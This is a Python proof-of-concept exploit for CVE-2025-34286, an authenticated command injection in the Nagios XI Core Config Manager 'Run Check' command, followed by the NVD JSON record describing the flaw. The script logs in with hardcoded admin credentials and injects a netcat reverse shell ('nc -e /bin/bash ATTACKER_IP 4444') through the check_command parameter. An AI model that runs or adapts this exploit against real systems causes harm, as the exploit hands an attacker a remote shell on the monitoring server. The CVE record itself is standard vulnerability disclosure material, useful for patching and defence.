CVE-2025-34286

# CVE-2025-34286 PoC - Nagios XI CCM RCE # Authenticated RCE via Run Check Command Injection import requests import re from urllib.parse import quote TARGET_URL = "http://target-nagios-xi.local" USERNAME = "admin" PASSWORD = "admin_password" session = requests.Session() def login(): """Authenticate to Nagios XI""" login_url = f"{TARGET_URL}/nagiosxi/login.php" resp = session.get(login_url) nst = re.search(r'name="nst" value="([^"]+)"', resp.text) if not nst: return False data = { "username": USERNAME, "password": PASSWORD, "nst": nst.group(1), "loginButton": "Login" } resp = session.post(login_url, data=data) return "nagiosxi" in session.cookies.keys() def inject_payload(): """Inject command via CCM Run Check""" # Target CCM Run Check endpoint ccm_url = f"{TARGET_URL}/nagiosxi/admin/coreconfig.php" # Payload: Reverse shell via netcat # Inject shell metacharacters into check command parameter payload = ";nc -e /bin/bash ATTACKER_IP 4444 2>/dev/null #" encoded_payload = quote(payload, safe='') # POST request to trigger command injection exploit_data = { "cmd": "runcheck", "host": "localhost", "check_command": f"check_ping!100,20%!500,60%{payload}", "submit": "Run Check" } resp = session.post(ccm_url, data=exploit_data) return resp.status_code == 200 def main(): if not login(): print("[-] Authentication failed") return print("[+] Logged in successfully") if inject_payload(): print("[+] Exploit sent - Check listener for shell") else: print("[-] Exploitation failed") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-34286", "sourceIdentifier": "[email protected]", "published": "2025-10-30T22:15:48.920", "lastModified": "2025-11-06T18:13:04.890", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Nagios XI versions prior to 2026R1 contain a remote code execution vulnerability in the Core Config Manager (CCM) Run Check command. Insufficient validation/escaping of parameters used to build backend command lines allows an authenticated administrator to inject shell metacharacters that are executed on the server. Successful exploitation results in arbitrary command execution with the privileges of the Nagios XI web application user and can be leveraged to gain control of the underlying host operating system."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.4, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:*", "versionEndExcluding": "2026", "matchCriteriaId": "B63A9E29-F4DC-4BB6-95BE-707CD1562719"}]}]}], "references": [{"url": "https://www.nagios.com/changelog/nagios-xi/", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.nagios.com/products/security/#nagios-xi", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/nagios-xi-rce-via-run-check-command-in-ccm", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}